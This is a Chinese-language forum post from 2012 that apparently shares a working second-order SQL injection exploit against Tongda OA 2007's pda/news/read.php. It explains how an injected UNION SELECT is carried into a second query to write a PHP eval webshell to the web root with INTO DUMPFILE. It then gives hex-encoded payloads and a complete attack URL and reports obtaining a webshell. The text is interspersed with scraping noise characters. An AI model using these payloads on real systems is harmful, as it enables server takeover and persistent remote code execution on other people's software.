目前测试通达OA2007版本- `" C6 q5 U& a3 S
- x$ l9 e3 Q- s7 @4 i+ w $ [# r! A& n& P* P* t
Office Anywhere 2007 网络智能办公系统) s4 ]( N5 J4 I* X7 ~
1 O5 I7 k( X4 bhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
8 q7 D" x+ n% |" s; @( e 5 ]: b, C% ~6 I# k+ b) a3 Y
- o( P. O$ s+ ~这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
) Y* k8 \6 ?/ m' @! F2 \! |. S. R 6 o0 I6 H- v2 {" s* J8 d% t
例如：SELECT * from USER where USER_ID='{$USERNAME}' 5 Y& M8 H* _& H' w2 N
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了' @ F+ T( C9 `% ]3 a+ w
) `4 ^, `3 q: d7 h' v* F0 m _
这个时候我们是不是可以组合起来使用哪？! {' o. B. E9 Q1 V$ C
) {% Y5 U& u' y. J" ~/ l! D4 k$ @第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样0 e% v: i9 o6 d& t8 e) L3 e1 ] {
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10' E& x# K3 x7 F/ L( L) B9 B) V
2 J8 E* D% r- b* n
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了5 w4 C7 o. v1 l [
% |# d/ S7 Q6 S% J那么问题来了，单引号可以吗？当然是不可以的，^_^。。。, `) \+ U \* l5 v" Y9 |
. C t! b7 i! ~; ]% X* C
那么我们用字符串格式带入进行hex编码
5 k/ t* n# [4 @4 S6 |+ L* j1 E * e& M3 T4 o( a0 D# E7 t0 @/ Y
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%232 w4 e- e8 w5 [% b
- _+ {( k- {# q) u% b$ X+ `6 n& n测试ok，获取oa的webshell3 J' f, ?( L3 d2 s, e
4 G. _( D8 R5 r/ Y% O
2 H2 H" R- R; hpda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%232 O; N( U. N+ h! E# | l
直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对